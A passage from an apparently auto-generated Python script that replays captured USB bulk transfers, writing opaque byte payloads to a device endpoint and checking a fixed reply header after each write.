b\"\\x71\\x90\\xFC\\xDB\\xC2\\x17\\x2C\\xFB\\xF5\\x0C\\xEB\\xA3\\x7A\\x26\\xBF\\xFE\"\n b\"\\x96\\x74\\xCF\\x82\\x1C\\x88\\xEE\\x6C\\x72\\x40\\x9D\\xEC\\x27\\x9F\\x60\\x03\"\n b\"\\xA3\\x5C\\xA9\\x97\\x67\\xEF\\xB9\\xAA\\x33\\xFB\\x30\\xD8\")\n # Generated from packet 2615/2616\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2615/2616\")\n # Generated from packet 2617/2618\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x30\\x07\\x36\\xD1\\x4D\\x38\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBD\\xC9\\x09\\x5F\\xC2\\xF1\\x9F\\xA6\"\n b\"\\x58\\x32\\xC3\\x36\\xBC\\x70\\x2A\\x89\\x6B\\x50\\xE8\\x7C\\x93\\x1E\\x22\\xD5\"\n b\"\\x6D\\x08\\xF4\\x88\\x0A\\xCC\\x74\\x66\\xC5\\x21\\xAC\\x51\\x6C\\xC1\\x05\\xC2\"\n b\"\\xFA\\x80\\x1E\\x7E\\x96\\x52\\x30\\x4A\\x9F\\x76\\x77\\x19\\xF7\\x79\\x0D\\xAD\"\n b\"\\x4A\\xF3\\xF7\\xEA\\x89\\xD2\\xBD\\xD4\\xA4\\x17\\x53\\xFC\\x5E\\xED\\xED\\x88\"\n b\"\\xCA\\x4B\\xD2\\xF7\\xA9\\x99\\x26\\x51\\xFD\\x2B\\x35\\x34\\x36\\x33\\xED\\x8B\"\n b\"\\x71\\xE5\\x3F\\xB2\\xEC\\xE3\\xCD\\x52\\x0D\\x95\\x54\\xFF\\x1B\\xFA\\x0A\\x07\"\n b\"\\x80\\xB7\\x9B\\xEF\\x20\\xE3\\x97\\x3D\\x80\\xAD\\xD3\\x46\\x37\\x6C\\xF0\\x5E\"\n b\"\\xD3\\x57\\x63\\x95\\x13\\xED\\xA5\\x8D\\x7B\\xA5\\x4D\\x93\\xA2\\x13\\xC2\\xEB\"\n b\"\\x0A\\x13\\x7D\\xB9\\xD6\\x09\\x06\\x3C\\x43\\x87\\xAC\\xF8\\xDE\\x47\\xD3\\xC4\"\n b\"\\x04\\xDF\\xB7\\xD2\\xE3\\xD6\\x28\\x0C\\xCB\\xF5\\x73\\x5E\\xC9\\x49\\x8C\\x75\"\n b\"\\xD5\\xC7\\x13\\x22\\x6E\\x86\\x50\\xA7\\x1A\\xB6\\xA4\\x65\\x00\\x19\\x99\\xF7\"\n b\"\\xD4\\xE1\\xDB\\xC1\\xC0\\xA6\\xF7\\x9D\\xC3\\xEC\\xD8\\x97\\xA3\\x95\\x5E\\x78\"\n b\"\\xDA\\x66\\x02\\xC5\\xB5\\x77\\xF5\\x99\\xC5\\xD1\\xDA\\xF5\\x0B\\x83\\x4A\\x22\"\n b\"\\x24\\x39\\x19\\xFA\\xAD\\x89\\x94\\x81\\x37\\x4A\\x28\\x0E\\xAA\\xDF\\xA7\\x3D\"\n b\"\\x3B\\xB8\\x29\\x47\\x8B\\x0C\\xE5\\x58\\x89\\x24\\xCE\\x2A\\x6A\\x26\\x10\\x15\"\n b\"\\x8A\\xEA\\x46\\xBB\\x25\\x35\\xFE\\x5F\\xCD\\x04\\xD8\\x3D\")\n # Generated from packet 2619/2620\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2619/2620\")\n # Generated from packet 2621/2622\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA7\\x6A\\x49\\x64\\x01\\x41\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x48\\x5A\\xBC\\x6C\\xD7\\x15\\xC0\\xC0\"\n b\"\\x1D\\xCE\\x8E\\x2D\\x33\\x85\\x81\\xC7\\xE7\\xA2\\x44\\x0E\\x70\\xCD\\xE2\\x9D\"\n b\"\\xEF\\x2B\\xAC\\x48\\x70\\x52\\xF2\\x14\\x2A\\x18\\xE7\\x18\\xF3\\xA5\\x17\\xA6\"\n b\"\\x5B\\x26\\xA3\\xB7\\x01\\xF5\\xDE\\x4F\\x15\\x5A\\x78\\x8D\\xF4\\xCF\\xE4\\x3D\"\n b\"\\x5A\\xA9\\xC6\\x0E\\x06\\x1C\\x72\\x1C\\x6D\\xA1\\xAF\\xED\\xB6\\x9B\\xF2\\x3B\"\n b\"\\x9E\\xA1\\x6E\\xA1\\x26\\x7A\\xE6\\xF7\\xE8\\x52\\xE9\\xCE\\x2F\\xE0\\x10\\x9C\"\n b\"\\x93\\xBE\\xA4\\x6E\\x9F\\x2A\\x1C\\x01\\x5D\\x87\\xFB\\x25\\x97\\xEA\\x95\\x21\"\n b\"\\x06\\x65\\xBE\\x64\\xEB\\x16\\x04\\xDE\\x6E\\x40\\x36\\x17\\x05\\xFF\\xEF\\x05\"\n b\"\\x92\\x5F\\x3F\\xF3\\xB4\\xB7\\x5C\\x04\\x49\\x3A\\x49\\xBF\\x74\\xDB\\x8C\\xB5\"\n b\"\\x8B\\xB5\\x36\\xC8\\xD2\\x00\\xB6\\x98\\x00\\xE1\\xEF\\xEE\\xAD\\x7D\\x9E\\xC5\"\n b\"\\xB4\\x3F\\x1A\\x72\\xB8\\xA3\\xD2\\xE4\\x91\\x95\\xD0\\xFC\\x8A\\xB6\\x31\\xB1\"\n b\"\\x5F\\x7E\\x3F\\xE3\\x05\\x8A\\xA0\\xAD\\xB6\\xEB\\x9D\\x09\\x10\\x89\\xCE\\x21\"\n b\"\\xC5\\x40\\x1E\\xA4\\xC7\\x94\\x5C\\xAE\\x41\\xD3\\xA5\\xD2\\x1A\\x2B\\x4B\\x70\"\n b\"\\x1D\\xA5\\x8B\\x29\\x94\\x25\\xED\\xAC\\x76\\xDC\\xE2\\x54\\x9C\\x44\\x42\\xE2\"\n b\"\\x84\\x83\\xE4\\xF5\\x8A\\xC6\\xF2\\x6A\\xB9\\x22\\x9E\\x5D\\x0D\\x23\\xDC\\x98\"\n b\"\\xDE\\x13\\xEF\\x4D\\xB2\\x93\\xC4\\x2C\\x59\\xCB\\x74\\xD6\\x13\\x22\\x09\\x79\"\n b\"\\x8E\\xE3\\x23\\xA1\\x81\\x0C\\x10\\x09\\xC2\\xBB\\xE4\\xAF\")\n # Generated from packet 2623/2624\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2623/2624\")\n # Generated from packet 2625/2626\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBB\\xF9\\xF3\\x80\\x8F\\x4D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8B\\x79\\x78\\x8A\\x23\\x4D\\xA9\\xBD\"\n b\"\\x43\\x44\\xF2\\x34\\x57\\x6B\\x9A\\xC5\\x84\\xE4\\x9F\\x59\\xD5\\xB5\\x86\\xF3\"\n b\"\\x74\\xE0\\x26\\xA7\\x57\\xA8\\xBF\\x53\\x3B\\x6F\\x05\\x5C\\xF1\\xF4\\x95\\x1B\"\n b\"\\x1C\\xF1\\xF4\\xED\\x26\\x85\\xAB\\x3C\\x7E\\x58\\xBA\\x4D\\xF2\\x66\\xB1\\xDE\"\n b\"\\x11\\x73\\xC2\\x4C\\xED\\xB8\\xE2\\x6D\\x51\\x36\\x68\\xEF\\xA7\\xF9\\x01\\x5A\"\n b\"\\x67\\xB5\\x2D\\x2B\\x1F\\xE1\\x5A\\x31\\xD2\\xA5\\x4E\\x99\\x73\\x4F\\x3D\\xA9\"\n b\"\\x47\\x7E\\x97\\x70\\x34\\x50\\x6A\\x69\\x1E\\x6A\\x7D\\xC6\\x21\\x7A\\x32\\x51\"\n b\"\\x0E\\x75\\x8F\\x6A\\xD6\\xC3\\x68\\xF6\\xF9\\x60\\xD1\\x62\\xAC\\xBD\\x02\\xA4\"\n b\"\\x3B\\xA3\\x14\\xCC\\xBA\\x5B\\xC4\\x2A\\x61\\x64\\x06\\x8F\\xD2\\xFE\\xDE\\x06\"\n b\"\\x88\\xA7\\xED\\x87\\x6F\\x78\\x00\\x4B\\xFE\\x39\\x1B\\x33\\x4D\\x7A\\x67\\xCB\"\n b\"\\x96\\xB3\\x33\\xAC\\xD3\\x4A\\x91\\x0C\\x5E\\xC7\\xDD\\x5A\\x28\\x25\\x08\\x24\"\n b\"\\x0C\\xF1\\xF3\\xB5\\xE8\\x2C\\x85\\x1E\\x2D\\xCB\\x39\\x59\\x96\\xB9\\xDA\\x49\"\n b\"\\x5E\\x0B\\xFE\\x1D\\x65\\x6E\\x18\\x48\\x3A\\xEC\\x95\\xEC\\x9C\\x57\\x98\\x14\"\n b\"\\xE2\\x60\\xAC\\x1E\\x36\\x9E\\x35\\xA1\\xA8\\x59\\x0D\\xF4\\x02\\x21\\x4D\\xB2\"\n b\"\\x0A\\xA5\\xCF\\x7C\\x4A\\x7C\\xC1\\xAD\\x5D\\x88\\x12\\xF2\\xCD\\x68\\xB5\\xD5\"\n b\"\\x74\\x3A\\xCA\\x73\\xDB\\xD2\\x75\\xD2\\x4A\\xB1\\x4E\\xA3\\x9B\\xAA\\x73\\x97\"\n b\"\\x73\\xDB\\x90\\xCA\\xC2\\x3D\\x26\\x3A\\x87\\xA7\\x94\\xB7\")\n # Generated from packet 2627/2628\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2627/2628\")\n # Generated from packet 2629/2630\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x4A\\x8B\\x15\\x5B\\x17\\x61\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBA\\x89\\x58\\x60\\xA6\\xCA\\x5A\\xD2\"\n b\"\\x5A\\xC0\\xC3\\x37\\xD7\\x2A\\xC8\\x99\\xEC\\x07\\x10\\x97\\xB4\\xE1\\x15\\x4B\"\n b\"\\x73\\xA1\\x16\\x82\\x5F\\xC8\\x97\\x00\\xF0\\xB2\\xF9\\x96\\x24\\xC1\\x85\\x7B\"\n b\"\\x89\\xC7\\xA1\\x03\\x0D\\xAF\\x84\\xB2\\x0E\\x95\\x66\\x24\\x9E\\x72\\x6C\\x56\"\n b\"\\xBB\\x71\\xB5\\x18\\xE8\\x6A\\x6D\\x29\\xFB\\xDF\\xBA\\x97\\xAC\\x57\\x14\\x7D\"\n b\"\\xF2\\x78\\xE5\\xDA\\xA1\\x91\\x1E\\xB3\\x0C\\x18\\x81\\xE4\\xA3\\x8F\\x2E\\x84\"\n b\"\\x06\\x1C\\x57\\xF2\\xA8\\xAA\\x7D\\x34\\xA2\\xF8\\x2F\\x3F\\xB7\\xF7\\x23\\xF3\"\n b\"\\x00\\xC3\\x35\\x55\\x06\\xB2\\x4E\\xEE\\xCC\\x46\\x77\\xA6\\x93\\x5F\\xFD\\xA0\"\n b\"\\x5C\\x21\\x90\\xF9\\x63\\x65\\x30\\x93\\x64\\x0D\\xF5\\x5A\\x92\\x57\\xC3\\x2C\"\n b\"\\x7C\\x2D\\x4F\\xAB\\x95\\x86\\x08\\xFD\\x27\\xBB\\xA3\\x7C\\xB8\\xAE\\x62\\xED\"\n b\"\\x09\\xF3\\x3E\\xC8\\xD7\\x5C\\x10\\x91\\x62\\x3F\\x17\\x9D\\x4A\\xDF\\x74\\xAE\"\n b\"\\xA0\\x86\\x01\\x5A\\xA0\\x50\\x3D\\x8B\\x28\\x85\\xC4\\xEC\\x1D\\x7D\\xD6\\x64\"\n b\"\\x90\\xDA\\x2B\\x25\\x52\\xFB\\xA6\\xE2\\xB5\\x8C\\x7E\\x33\\x0D\\xEF\\xA9\\x84\"\n b\"\\x22\\x5F\\x22\\x62\\x47\\x2F\\x99\\x56\\x83\\x46\\x87\\x10\\xE8\\xC1\\x89\\x9D\"\n b\"\\xEF\\x50\\xB0\\x87\\xA6\\x38\\x88\\x0E\\x67\\xAA\\x34\\x3A\\x5A\\x55\\x96\\xFF\"\n b\"\\x8E\\xFD\\x36\\xE6\\xC3\\xA7\\xED\\x70\\x7C\\xC2\\x08\\xEB\\xBF\\xD1\\x97\\xFF\"\n b\"\\x05\\x7A\\xB3\\xA9\\x4B\\xA3\\xDB\\x9C\\x6A\\x9F\\x81\\x3C\")\n # Generated from packet 2631/2632\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2631/2632\")\n # Generated from packet 2633/2634\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x1D\\x4F\\x1F\\xE5\\x56\\x33\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF1\\x38\\x29\\x57\\x7F\\x4F\\x4D\\x82\"\n b\"\\x5F\\x05\\xC2\\x66\\x9A\\x95\\x22\\x74\\xF0\\xFF\\x28\\xF4\\x3A\\xAD\\xFE\\x58\"\n b\"\\x2D\\xB0\\x15\\x2D\\x6D\\xA4\\x32\\xD7\\x7F\\x35\\xB9\\xD2\\x0B\\xC4\\xDC\\x56\"\n b\"\\x96\\x38\\x88\\x1A\\xF8\\x28\\x37\\xE6\\x8B\\x02\\x6D\\x75\\xFB\\xF2\\xB5\\x90\"\n b\"\\x2A\\x66\\xEA\\xFA\\xCB\\xF1\\x09\\x23\\xFB\\xE1\\x61\\x8C\\x51\\x3A\\x04\\x78\"\n b\"\\x0E\\xA2\\xFC\\x81\\x9C\\xBB\\x29\\x01\\x5F\\x12\\x25\\xD2\\xBC\\xA1\\xBB\\x5A\"\n b\"\\x8A\\x91\\xD1\\xFA\\x68\\xF4\\xBE\\x1E\\x6E\\xB1\\x68\\x07\\x39\\x2E\\x40\\x1E\"\n b\"\\x41\\x70\\xD1\\x3D\\xC6\\xD4\\x0F\\x66\\x0B\\xC3\\x39\\x58\\x28\\x29\\xE2\\x64\"\n b\"\\x64\\x87\\xFB\\x8D\\x0E\\xDE\\x53\\xB3\\x15\\x91\\x18\\xEB\\xC3\\x62\\x71\\xB1\"\n b\"\\xCB\\xB7\\x64\\x94\\x62\\xF2\\xF0\\x8F\\xC9\\x24\\x6D\\xC4\\x3F\\xAE\\xEF\\x32\"\n b\"\\xBC\\xC7\\x5A\\xF2\\x54\\xEB\\x2B\\xBE\\x93\\x58\\x33\\x83\\x46\\x4C\\xBB\\x22\"\n b\"\\x6C\\x3F\\xEB\\x16\\x3D\\x95\\x12\\x65\\x33\\x78\\xEB\\x4F\\x09\\x77\\x64\\x70\"\n b\"\\x19\\x34\\x93\\x5F\\x16\\x8F\\x88\\x87\\xA0\\x5F\\xE6\\x78\\xE9\\x97\\x62\\x6F\"\n b\"\\x66\\x56\\x58\\x28\\xC0\\x36\\xCE\\xF5\\x38\\xF2\\x3A\\xC8\\xE7\\x58\\xEF\\x1C\"\n b\"\\xEE\\xE0\\xE6\\x41\\xB4\\x33\\x78\\xEE\\xF1\\xCE\\xCB\\x3D\\xE2\\x59\\xDF\\x87\"\n b\"\\xE8\\x65\\x89\\xD9\\x50\\x05\\xBC\\xFA\\xC9\\x4F\\x78\\x14\\x53\\xCB\\xB0\\x79\"\n b\"\\x46\\x5C\\x9E\\x8F\\x6E\\x75\\xB4\\x7D\\x4D\\x5D\\x1F\\x8C\")\n # Generated from packet 2635/2636\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2635/2636\")\n # Generated from packet 2637/2638\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xCD\\x22\\x45\\x41\\xC6\\x2C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3E\\x74\\x7D\\x48\\x98\\xEE\\xE6\\x21\"\n b\"\\x5D\\x07\\xEE\\x84\\x67\\xD9\\x44\\xDE\\xF1\\x9E\\x8D\\xB2\\x80\\x68\\xB3\\x67\"\n b\"\\xCF\\xF9\\xEB\\xF7\\xDC\\x88\\x53\\xDD\\xD6\\xB1\\x84\\x99\\xA4\\xC9\\x78\\x93\"\n b\"\\x9A\\xE8\\xC4\\xBD\\x10\\x6A\\x32\\x52\\x59\\xDF\\xF2\\x9C\\x15\\xAE\\xBE\\x58\"\n b\"\\x66\\xB6\\x83\\x0C\\xF3\\x3E\\x22\\xE6\\x83\\x6E\\x16\\xD7\\x2F\\x97\\x65\\xF9\"\n b\"\\xDE\\x6E\\x4F\\xC3\\xD1\\xE1\\x70\\xD3\\x8E\\x06\\x5F\\xDC\\x33\\x05\\x87\\x6A\"\n b\"\\xE0\\x67\\x78\\x23\\xA9\\xE5\\x6F\\xAC\\xA8\\xDC\\x28\\x0A\\xA8\\xCB\\xF5\\xF2\"\n b\"\\x4C\\xFF\\xC8\\x2D\\xE6\\x5A\\x1C\\x24\\x5E\\x63\\x41\\x7E\\x8D\\xF5\\xEE\\x3B\"\n b\"\\x70\\x4E\\x3D\\x28\\xE7\\x5A\\x87\\x22\\xDB\\x0C\\xD9\\x9A\\xBB\\x39\\xFA\\x03\"\n b\"\\xF1\\xF9\\x14\\x99\\x75\\x35\\x79\\x8C\\xE2\\x19\\xAF\\xA4\\xCB\\x31\\x3D\\x87\"\n b\"\\xE3\\x9B\\x0C\\x72\\xB9\\x3C\\x5E\\x60\\x70\\x32\\x53\\x5C\\x7E\\x78\\xA8\\xB7\"\n b\"\\x7F\\x3B\\xB3\\xAF\\xFD\\x49\\x25\\x1E\\x78\\xE1\\xA8\\x9A\\xCF\\x2A\\xA3\\xF4\"\n b\"\\x5B\\x24\\x09\\x60\\xB5\\xDB\\x53\\xA9\\x38\\x86\\x9D\\xA8\\x03\\xF9\\xEB\\xC1\"\n b\"\\x6B\\x90\\x12\\xD6\\x92\\xD7\\x04\\xE1\\x09\\xD1\\x13\\x9B\\x42\\xC6\\x5A\\x8F\"\n b\"\\x85\\xE6\\x7D\\xF2\\xD9\\x2E\\x08\\xE3\\x4B\\x97\\xD4\\x80\\xB4\\x0D\\x41\\x6A\"\n b\"\\x00\\xDF\\x32\\x36\\x72\\xE3\\xA2\\x49\\xD5\\xD7\\xDD\\x42\\x47\\x1F\\x02\\x8D\"\n b\"\\xD4\\x53\\x3C\\x47\\x19\\x9D\\x4A\\x43\\xE8\\x1F\\x16\\x09\")\n # Generated from packet 2639/2640\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2639/2640\")\n # Generated from packet 2641/2642\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD2\\x5D\\x0E\\x5C\\xDB\\x6B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\xE8\\xF2\\x11\\x86\\x9B\\xE2\\xEC\"\n b\"\\xD2\\x41\\xC3\\x2F\\x5E\\xEF\\x28\\x4F\\x97\\x8B\\x24\\x7F\\x94\\x62\\xDE\\x88\"\n b\"\\xCB\\x0C\\xBE\\x9C\\xCB\\x5F\\x8B\\xFA\\x14\\xE3\\x57\\x54\\xA4\\x62\\xD1\\x49\"\n b\"\\xA4\\xAC\\xC5\\xB6\\xA8\\x7D\\x78\\x85\\xC3\\x28\\x78\\x35\\x63\\x4C\\x26\\x06\"\n b\"\\x31\\x7B\\xEE\\x14\\x44\\x3A\\x51\\x14\\x8D\\x27\\x7E\\x33\\x8D\\x04\\x56\\xD1\"\n b\"\\x46\\x4F\\xA2\\xFD\\x8D\\x17\\x99\\x34\\xDC\\x24\\x54\\x56\\x36\\xBB\\xD4\\x94\"\n b\"\\x64\\xEE\\x58\\x8B\\x98\\x82\\x0D\\xC3\\xEC\\x25\\xD7\\xD9\\xBD\\x78\\xD2\\xA5\"\n b\"\\x0C\\xD1\\x56\\x26\\xD5\\x8D\\x5A\\x56\\xE0\\x38\\x39\\xE7\\x69\\x12\\x5D\\x03\"\n b\"\\x0F\\x68\\x10\\x8C\\xBE\\x7F\\x25\\x7D\\x91\\x1C\\xDC\\x45\\x68\\xF0\\x52\\xCB\"\n b\"\\x37\\x87\\x26\\x78\\x3B\\xE7\\x51\\xEE\\xA6\\xAA\\xCE\\x27\\x4D\\x3A\\x7A\\xA8\"\n b\"\\x43\\x64\\x92\\xF7\\x6F\\xD0\\x88\\x1C\\xE9\\x01\\x2E\\xCA\\x1C\\xDB\\x07\\x93\"\n b\"\\x3A\\x4F\\x3E\\xE5\\xBD\\x44\\x3D\\x49\\x3B\\x07\\x46\\x29\\xFE\\x6F\\xAE\\x84\"\n b\"\\xC4\\x30\\x44\\xD6\\x52\\x36\\x8D\\xA2\\x23\\x81\\x93\\x67\\x6C\\x31\\xEB\\xF3\"\n b\"\\x7F\\xE2\\x73\\xD7\\x75\\x49\\x84\\x98\\x07\\xA3\\x58\\x1B\\x39\\x08\\xC4\\xFD\"\n b\"\\xB3\\x00\\x12\\x7A\\xDA\\x33\\xF2\\x9C\\xF6\\xC4\\x9E\\x50\\x45\\x5C\\x83\\x0C\"\n b\"\\x51\\x54\\x02\\xEE\\x22\\x87\\x16\\xD7\\x88\\xFE\\x45\\xF1\\x75\\x96\\x4F\\xC3\"\n b\"\\x62\\x88\\x50\\xDB\\x2D\\xFA\\x5F\\xDC\\x90\\x64\\xA7\\x62\")\n # Generated from packet 2643/2644\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2643/2644\")\n # Generated from packet 2645/2646\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x2F\\xEA\\x7A\\x2C\\x9D\\x78\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x94\\x76\\xCB\\xD9\\x26\\xD0\\xD2\\x83\"\n b\"\\x38\\x51\\x5B\\xF7\\x1B\\xD1\\x3D\\xEE\\xDB\\xA3\\xA6\\x8F\\x8A\\x3A\\xFF\\xEE\"\n b\"\\x36\\x40\\xFD\\xCF\\xE5\\x36\\x98\\x62\\x8D\\xA6\\x85\\x37\\x6C\\x16\\x87\\x14\"\n b\"\\x07\\x79\\xD3\\x33\\x8F\\x27\\x2A\\xFC\\xDE\\x42\\x5D\\xBA\\xA3\\xF3\\xFE\\xE2\"\n b\"\\x5F\\xA5\\x8D\\xEB\\xD4\\x28\\x82\\x28\\xFC\\xE1\\xC5\\x0C\\xC4\\x60\\x0B\\xDE\"\n b\"\\x3B\\xBC\\x42\\x96\\xA7\\xBF\\x30\\x8B\\x49\\x63\\xAD\\x7F\\xEE\\xD0\\x0E\\xD1\"\n b\"\\xFA\\xD3\\xE2\\xED\\x0F\\xDC\\x90\\x78\\x36\\xB4\\x66\\x50\\x8A\\x17\\x61\\x26\"\n b\"\\xB5\\x45\\x15\\xCE\\xAF\\x30\\x77\\x51\\xA7\\xFA\\x69\\x56\\x80\\xE9\\x69\\x56\"\n b\"\\x62\\x32\\xA3\\x82\\x46\\x79\\x7A\\x99\\x87\\xAA\\xE8\\x7C\\xED\\x00\\xD6\\xD4\"\n b\"\\x27\\x10\\x02\\x78\\x30\\xCC\\xEF\\x0D\\x69\\x6F\\xCA\\xF7\\xA8\\x3E\\x55\\xD2\"\n b\"\\x84\\x8F\\x3E\\x76\\xD9\\x56\\x60\\x5A\\xFB\\x43\\xD7\\x19\\x04\\x4A\\x7F\\x5D\"\n b\"\\x7F\\xAC\\x87\\x30\\xFF\\x0D\\x12\\x25\\x02\\x5F\\xF3\\xFC\\xE3\\x8E\\x9D\\x52\"\n b\"\\xBD\\xF9\\x68\\x06\\xD7\\xF1\\x8A\\x51\\x46\\x68\\x45\\xEE\\x9C\\xAB\\x57\\x4A\"\n b\"\\x1B\\x67\\xAB\\xA2\\x0C\\x0A\\x3D\\x98\\xAE\\x8D\\xEC\\x1E\\x75\\x38\\xB6\\x07\"\n b\"\\x3A\\x9A\\x80\\x1E\\x44\\x3D\\x09\\x3D\\xE0\\x9B\\x4B\\x66\\x0B\\x5E\\xA2\\xAE\"\n b\"\\xEC\\x64\\x7C\\x64\\x31\\xF2\\x3B\\x8D\\x4D\\x83\\xCD\\xB3\\xC6\\xCC\\x5C\\xEB\"\n b\"\\x59\\x0B\\xA7\\x53\\x7C\\x15\\x24\\x90\\x33\\x67\\x54\\x6C\")\n # Generated from packet 2647/2648\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2647/2648\")\n # Generated from packet 2649/2650\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC4\\x11\\xF6\\x33\\xC8\\x4F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x92\\x08\\xD1\\xDE\\xDB\\x7E\\x9B\\xCB\"\n b\"\\x62\\x9E\\x11\\x76\\x1C\\x13\\x50\\x39\\x8F\\x7A\\x39\\x3C\\xE6\\x07\\x85\\x4D\"\n b\"\\xC4\\x2E\\x56\\x19\\xD5\\x1B\\x49\\x1C\\x37\\x5C\\xCD\\x2D\\xCF\\x58\\xD7\\xAB\"\n b\"\\x92\\x49\\xF4\\xAA\\xCE\\x73\\x30\\x41\\x2E\\xA4\\x2E\\x76\\xF4\\xEE\\xBD\\xE1\"\n b\"\\x86\\x82\\xC1\\x09\\x62\\xBE\\x57\\x5A\\x48\\x96\\xC1\\xD2\\x79\\x6F\\x42\\x97\"\n b\"\\x45\\x55\\xAA\\x9B\\xBD\\x32\\x1D\\x3D\\x2E\\x55\\xDF\\xAA\\x04\\x6D\\xA9\\xC4\"\n b\"\\xFB\\x67\\xCE\\x91\\x5E\\x21\\xA3\\x3C\\x27\\x1E\\xBC\\xB2\\xF6\\x64\\xD1\\x04\"\n b\"\\xD3\\x11\\xC7\\x2F\\x9A\\x78\\x8F\\x85\\xDE\\x89\\x48\\xDE\\x48\\x92\\xA2\\xA1\"\n b\"\\x6A\\x83\\x22\\x8B\\xBB\\xC3\\x0C\\x46\\x48\\xA9\\xDF\\x89\\x22\\xB8\\xA9\\xBA\"\n b\"\\x4E\\x01\\x0D\\x8A\\x6D\\xD1\\xD5\\x1C\\x88\\x0F\\xEE\\x08\\x06\\x11\\x62\\x64\"\n b\"\\x8A\\x47\\x08\\xBB\\x60\\x57\\x36\\x8D\\x36\\x1F\\xC4\\x65\\x18\\xD5\\x1F\\xAC\"\n b\"\\x76\\xEB\\x70\\x6F\\x21\\xA0\\x24\\x2A\\x06\\x30\\x68\\x99\\x34\\xFA\\x3D\\xA8\"\n b\"\\x76\\xCB\\x13\\x81\\x0C\\x15\\x6B\\x74\\x3E\\xA6\\x28\\x5E\\xC4\\xFD\\xE9\\x94\"\n b\"\\xE5\\x1A\\xB2\\xDB\\x61\\x58\\x44\\xA2\\x47\\x62\\x8C\\x75\\x9B\\xF3\\x64\\x15\"\n b\"\\xD0\\x3B\\xAE\\xF3\\x3E\\xA5\\x20\\x18\\x06\\xA5\\xAC\\x7D\\xB8\\x5A\\xD6\\x85\"\n b\"\\xC1\\x4D\\xED\\xF3\\xB2\\xC2\\x63\\xC6\\xFA\\x4E\\x22\\x15\\xA7\\x3A\\x67\\x27\"\n b\"\\x15\\x37\\x39\\xCD\\xA4\\x83\\x91\\x98\\xE3\\x06\\x05\\xC4\")\n # Generated from packet 2651/2652\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2651/2652\")\n # Generated from packet 2653/2654\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x2C\\x5E\\xFE\\x81\\xA6\\x7F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBC\\x9B\\xC6\\x86\\x9B\\x1B\\x7C\\xC9\"\n b\"\\x18\\xF7\\xC6\\x0E\\x6B\\xAF\\x0B\\x09\\x94\\xA8\\x60\\x32\\xF6\\xA6\\x76\\x9A\"\n b\"\\x8D\\xF7\\x47\\x34\\x6A\\x88\\x33\\x6C\\xB8\\xE0\\x85\\x23\\x9B\\xED\\x29\\xF0\"\n b\"\\x45\\xCB\\xA7\\x77\\x0D\\xBC\\xBD\\xFF\\xC5\\x0C\\xCB\\xDC\\x7A\\x16\\x4B\\xDE\"\n b\"\\x17\\xFF\\x42\\x9E\\x99\\xFC\\x10\\x8B\\xF7\\x96\\xCD\\x77\\x51\\x26\\x4E\\xD1\"\n b\"\\x15\\xF8\\xE2\\xE5\\xE4\\x25\\xB0\\x78\\x1D\\xDB\\x46\\x58\\xA5\\x7B\\x61\\x26\"\n b\"\\xD5\\x8A\\x15\\xCE\\x84\\x5C\\x77\\x51\\x8C\\x95\\x49\\x5E\\x36\\x1F\\x29\\x56\"\n b\"\\x49\\x5E\\xA3\\x82\\x6C\\xE8\\x7A\\x99\\x39\\x5E\\x88\\x74\\x06\\x48\\xF6\\xD4\"\n 